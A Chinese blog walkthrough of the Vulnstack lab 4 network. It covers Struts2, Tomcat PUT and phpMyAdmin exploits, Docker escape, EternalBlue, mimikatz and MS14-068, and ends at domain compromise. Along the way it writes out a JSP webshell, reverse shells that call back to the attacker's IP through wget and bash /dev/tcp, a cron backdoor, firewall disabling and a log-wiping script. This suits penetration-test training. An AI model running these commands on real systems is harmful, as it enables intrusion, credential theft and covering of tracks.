环境

漏洞详情 (qiyuanxuetang.net)

仅主机模式内网网段192.168.183.0/24

外网网段192.168.157.0/24

其中Ubuntu作为对外的内网机器

攻击机kali地址:192.168.157.129  悬剑:192.168.157.130

还需要进入ubuntu开启服务,密码ubuntu

  1. cd /home/ubuntu/Desktop/vulhub/struts2/s2-045v
    sudo docker-compose up -d

  1. cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
    sudo docker-compose up -d

  1. cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613
  2. sudo docker-compose up -d

信息收集

  1. nmap -sS 192.168.157.0/24
  2. nmap -sV -A 192.168.157.128

可以看到2001、2002、2003分别对应jetty、tomcat、apache中间件

从2001端口开始吧

Ubuntu Getshell

2001Struts2

web界面是这样的,标题提示了是struts2的框架

尝试了一下上传一句话木马,上传成功了但是无路径回显无法利用

直接上struts2扫描工具

看到存在漏洞S2-045、S2-046,查了一下是命令执行漏洞,验证一下

接着使用wget上传木马getshell

kali开启apache服务

  1. service apache2 start

制作msf木马,放在var/www/html下

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf

远程执行命令

  1. wget http://192.168.157.129/shell.elf

可以看到木马已经上传上去

接着chmod +x shell.elf添加一个执行权限 然后./shell.elf运行就行了

2002tomcat

Tomcat 8.5.19版本,查询了一下,存在CVE-2017-12615任意写入文件漏洞,漏洞本质是Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件。

抓个包,修改一下数据包改成put,写入木马(因为是tomcat,所以用jsp后门)

  1. <%!
  2. class U extends ClassLoader {
  3. U(ClassLoader c) {
  4. super(c);
  5. }
  6. public Class g(byte[] b) {
  7. return super.defineClass(b, 0, b.length);
  8. }
  9. }
  10.  
  11. public byte[] base64Decode(String str) throws Exception {
  12. try {
  13. Class clazz = Class.forName("sun.misc.BASE64Decoder");
  14. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
  15. } catch (Exception e) {
  16. Class clazz = Class.forName("java.util.Base64");
  17. Object decoder = clazz.getMethod("getDecoder").invoke(null);
  18. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
  19. }
  20. }
  21. %>
  22. <%
  23. String cls = request.getParameter("passwd");
  24. if (cls != null) {
  25. new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
  26. }
  27. %>

蚁剑连接

同样可以反弹msf shell就不演示了

2003phpMyAdmin

连密码都不用就直接进去了,那就查看一下版本号看看存在什么漏洞

4.8.1远程文件包含漏洞(CVE-2018-12613)

验证一下是否存在,接下来就写入一句话然后文件包含连接

  1. http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

但是试了一下就算知道了绝对路径也无法文件包含数据库内的一句话,进去ubuntu看了一下也根本没有这个路径,十分奇怪

后来看到网上的poc,还可以使用session包含,测试一下

  1. http://192.168.157.128:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_a87f3b504810883a0db7aa69946f1988

这个原理就是包含缓存文件,接着就写入一句话

但写了一句话之后,蚁剑也连接不上,看了一下缓存文件的信息,发现一句话被序列化储存了,没办法利用

绝对路径也没法使用,这里只能放弃这个方法getshell了

docker逃逸

拿到shell之后首先要做的就是看看是否存在内网,扫描一下是否存在其他网段

但是明明是root用户ifconfig的命令却用不了,加上之前phpmyadmin的路径问题,让我怀疑我是不是在虚拟机的容器里

果然还是没有这么简单,现在要离开这个容器,由于之前没有接触过容器,急忙恶补了容器的知识初识Docker逃逸 - FreeBuf网络安全行业门户

这里我尝试采用了目录挂载逃逸

查看磁盘文件:

  1. fdisk -l

从返回结果来看sda1、sda2、sda5在/dev目录下。

新建一个目录/test,然后将/dev/sda1挂载到新建的目录下

  1. mkdir /test
  2. mount /dev/sda1 /test

可以看到现在可以通过访问docker容器内部挂载整个宿主机本地文件的/test,来实现访问整个宿主机的目的。

在计划任务里写入一个bash反弹shell的脚本:

  1. echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.129/9999 0>&1" >> /test/tmp/shell.sh
  2. chmod +x /test/tmp/shell.sh
  3. cat /test/tmp/shell.sh

写入crontab计划任务,表示每隔两分钟以root权限执行一次计划

  1. echo '*/2 * * * * root  bash /tmp/shell.sh' > /test/etc/crontab

cat  /test/etc/crontab查看是否写入成功

kali nc监听

  1. nc -lvp 9999

成功!

内网穿越

反弹个shell给msf

  1. run get_local_subnets
  2. run autoroute -s 192.168.183.0/24
  3. run autoroute -p

添加内网路由

  1. use auxiliary/server/socks_proxy

设置一下代理

打开proxychains4配置端口

  1. vi /etc/proxychains4.conf

现在可以通过proxychains4实现内网访问

内网信息收集

  1. use auxiliary/scanner/smb/smb_version
  2. set rhosts 192.168.183.0/24
  3. set threads 100

192.168.183.129 windows7

192.168.183.130 windows 2008

属于DEMO域

与此同时nmap的扫描也扫出来这两个ip

  1. proxychains nmap -Pn -sT 192.168.183.0/24

端口扫描一些看看具体开放了哪些端口

  1. use auxiliary/scanner/portscan/tcp
  2. set rhosts 192.168.183.129-130

大概开放了这些,引人注目的就是445端口了,直接扫一下永恒之蓝

  1. use auxiliary/scanner/smb/smb_ms17_010
  2. set RHOSTS 192.168.183.129-130

显示两个都易受到永恒之蓝攻击

payload要设置为正向

  1. use exploit/windows/smb/ms17_010_eternalblue
  2. set rhosts 192.168.183.129
  3. set payload windows/x64/meterpreter/bind_tcp

win7直接拿下,但是win2008被打的蓝屏重启,不能用

继续信息收集一下,看看有没有别的遗漏

乱码问题输入chcp 65001

  1. ipconfig
  2. net view /domain
  3. net time /domain
  4. net user /domain
  5. net group /domain
  6. net group "domain computers" /domain
  7. net group "domain controllers" /domain
    net group "domain admins" /domain
  8. net group "Enterprise Admins" /domain

但是无法进一步收集域内的信息了

load kiwi看看能不能抓取到密码

  1. load kiwi
  2. creds_all

一个域内用户douser和密码

只能通过远程桌面连接看看能不能收集到什么信息了

添加一个管理员用户,准备远程桌面

  1. net user lry Admin111 /add
  2. net localgroup administrators lry /add

开启3389端口

  1. run post/windows/manage/enable_rdp

通过代理连接远程桌面

  1. proxychains rdesktop 192.168.183.129

试了一下域内的用户登陆不上去

用了刚刚建立的管理员账户登陆上去也无济于事,后来突然意识到msf有个令牌窃取的功能Metasploit用法详解 - 1_Ry - 博客园 (cnblogs.com)

  1. load incognito
  2. list_tokens -u
  3. impersonate_token DEMO\\douser \\注意要加两个斜杠

现在就可以进行域内的信息收集了

Domain controllers:
WIN-ENS2VR5TR3N

域名:demo.com

域管账户:Administrator

横向移动

现在获取了win7的权限,但是2008的密码抓不到,win7也没有权限访问,查找了一下之前的笔记,不需要用到管理员权限的横向只能试试MS14-068了内网安全:域内横向移动 - 1_Ry - 博客园 (cnblogs.com)

查看SID

  1. whoami /user

S-1-5-21-979886063-1111900045-1414766810-1107

域内用户douser和密码Dotest123

本来想上传上去,但发现里面有ms14-068和mimikatz.exe

使用ms14-068.exe生成票据

  1. ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

清除票据

  1. klist purge \\清除
  2. klist \\查看

使用mimikatz导入票据

  1. mimikatz.exe "kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache"

成功,这里dir不能用ip只能用主机名

连接成功后先用sc创建任务把防火墙远程关掉

  1. sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
    sc \\WIN-ENS2VR5TR3N start unablefirewall

接下来上传一个msf正向木马到win7再到域控

  1. msfvenom -p windows/x64/meterpreter/bind_tcp -f exe > shell.exe

创建计划任务的时候显示权限不足,那就继续用sc创建任务  

schtasks /create /s 192.168.183.130 /tn test /sc onstart /tr c:\calc.bat /ru system /f

  1. sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe"
  2. sc \\WIN-ENS2VR5TR3N start Startup

正向监听getshell

权限维持

获取的shell很不稳定,快速收集信息进行权限维持

kiwi获取密码

或者

添加一个域管理员用户

  1. net user lry Admin111 /add
  2. net group "domain admins" lry /add

开启3389端口

  1. run post/windows/manage/enable_rdp

使用lry管理员登陆了上去

  1. proxychains rdesktop 192.168.183.130

上传一个mimikatz到域控

  1. privilege::debug
  2. lsadump::lsa /patch

获取到域的SID和krbtgt的NTML后就可以制作黄金票据了

黄金票据、白银票据 - 1_Ry - 博客园 (cnblogs.com)具体就不制作了,现在只要域管理员不改krbtgt密码,我们就可以以域内普通用户的身份访问域控

痕迹清理

Linux

清除命令历史记录

histroy -r          #删除当前会话历史记录

history -c          #删除内存中的所有命令历史

rm .bash_history   #删除历史文件中的内容

HISTZISE=0          #通过设置历史命令条数来清除所有历史记录

在隐蔽的位置执行命令

使用vim打开文件执行命令

:set history=0

:!command

linux日志文件

/var/run/utmp 记录现在登入的用户

/var/log/wtmp 记录用户所有的登入和登出

/var/log/lastlog 记录每一个用户最后登入时间

/var/log/btmp 记录错误的登入尝试

/var/log/auth.log 需要身份确认的操作

/var/log/secure 记录安全相关的日志信息

/var/log/maillog 记录邮件相关的日志信息

/var/log/message 记录系统启动后的信息和错误日志

/var/log/cron 记录定时任务相关的日志信息

/var/log/spooler 记录UUCP和news设备相关的日志信息

/var/log/boot.log 记录守护进程启动和停止相关的日志消息

完全删除日志文件:

cat /dev/null > filename

: > filename

> filename

echo "" > filename

echo > filename

针对性删除日志文件:

删除当天日志

sed  -i '/当天日期/'d  filename

一键清除脚本:

#!/usr/bin/bash

echo > /var/log/syslog

echo > /var/log/messages

echo > /var/log/httpd/access_log

echo > /var/log/httpd/error_log

echo > /var/log/xferlog

echo > /var/log/secure

echo > /var/log/auth.log

echo > /var/log/user.log

echo > /var/log/wtmp

echo > /var/log/lastlog

echo > /var/log/btmp

echo > /var/run/utmp

rm ~/./bash_history

history -c

windows

msf

1.查看事件日志

run event_manager -i

2.删除事件日志

run event_manager -c

3.clearv命令清除目标系统的事件日志。

4、还需要手动删除刚刚上传的后门

Vulnstack内网靶场4的更多相关文章

  1. Vulnstack内网靶场3

    Vulnstack内网靶场3 (qiyuanxuetang.net) 环境配置 打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行. 挂起状态,账号已默认登陆,cento ...

  2. Vulnstack内网靶场1

    最近发现了一个内网的靶场网站,简单配置一下网络就可以,不用自己搭建这么麻烦漏洞信息 (qiyuanxuetang.net) 环境配置 内网1靶场由三台机器构成:WIN7.2008 server.200 ...

  3. Vulnstack内网靶场2

    环境配置 内网2靶场由三台机器构成:WIN7.2008 server.2012 server 其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控 网络适配器已经设置好了不用自 ...

  4. Vulnstack内网靶场5

    实验环境搭建 漏洞详情 (qiyuanxuetang.net) "此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集.Web攻防.代码审计.漏洞利用. ...

  5. CS内网横向移动 模拟渗透实操 超详细

    @Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...

  6. 内网渗透之vlunstack靶场

    前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...

  7. 利用MSF实现三层网络的一次内网渗透

    目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为  image/jpeg 上传大马之后发 ...

  8. 利用Metasploit 打入ThinkPHP内网...

    出品|MS08067实验室(www.ms08067.com) 本文作者:dch(Ms08067实验室 SRSP TEAM小组成员) 一.利用Metasploit进行攻击的流程图   Metasploi ...

  9. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

随机推荐

  1. oracle 基础SQL语句 版本5.7.29

    一.表与用户介绍 oracle安装完成后默认会有很多用户,大致分为2类用户:一类是必需的帐户,一类是存储各种应用的帐户,默认密码如下: oracle自带的也会有很多默认表存在: 二.创建用户.创建表空 ...

  2. Mysql Navicate 基础操作与SQL语句 版本5.7.29

    SQL数据的增删改查:此部分所有SQL语句在navicat中与mysql命令行执行效果一样,只是mysql服务端在命令行执行,而navicat只是在客户端的图形化打开操作. 一.进入数据库 .连接数据 ...

  3. 取得get参数 从url

    1. getUrlParam.js define(function() { // url参数 var data, index; (function init() { data = []; index ...

  4. Sql 小技巧(持续汇总)

    身份证号加密 select concat(left(`visitors`.`Card_id`,3),'****',right(`visitors`.`Card_id`,4)) AS `Card_id` ...

  5. kendoUI 多选下拉列表 kendoMultiSelect

    问题1:被重复渲染 点击新增按钮----弹出模态框 多选下拉列表在多选框中只是初始化过一次.但是每次点击新增后  发现 多选下拉列表 被重复渲染了 解决方案 在 新增时  先将其父元素div中  的s ...

  6. Unity3D组成

    从宏观的角度来看,分为七个模块: 1.图形模块(Graphics). 2.物理模块(Physics) 3. 音效模块(Audio) 4.动作模块(Animation) 5.导航模块(Navigatio ...

  7. 测试rac数据文件建本地及处理

    模拟用户zytuser的表空间ZYTUSER_TBS表空间添加数据文件到本地.--环境准备1.创建一个表空间--创建表空间create tablespace ZYTUSER_TBS datafile ...

  8. 宝塔Linux面板搭建与安全狗安装(WEB服务器搭建与WAF安装)

    环境 系统:CentOS 7.3 (64位) 软件: 宝塔Linux 7.7 网站安全狗Linux-Apache版V2.3.18809(64位) 宝塔面板 下载和安装 网址:https://www.b ...

  9. Windows 11正式版来了,下载、安装教程、一起奉上!

    Windows 11正式版已经发布了,今天给大家更新一波Win11系统的安装方法,其实和Win10基本一样,有多种方法.   安装Win11前请先查看电脑是否支持Win11系统,先用微软自家的PC H ...

  10. 如何用redis统计海量UV?

    前言 我们先思考一个常见的业务问题:如果你负责开发维护一个大型的网站,有一天老板找产品经理要网站每个网页每天的 UV 数据,然后让你来开发这个统计模块,你会如何实现? 统计uv的常用方法以及优缺点 其 ...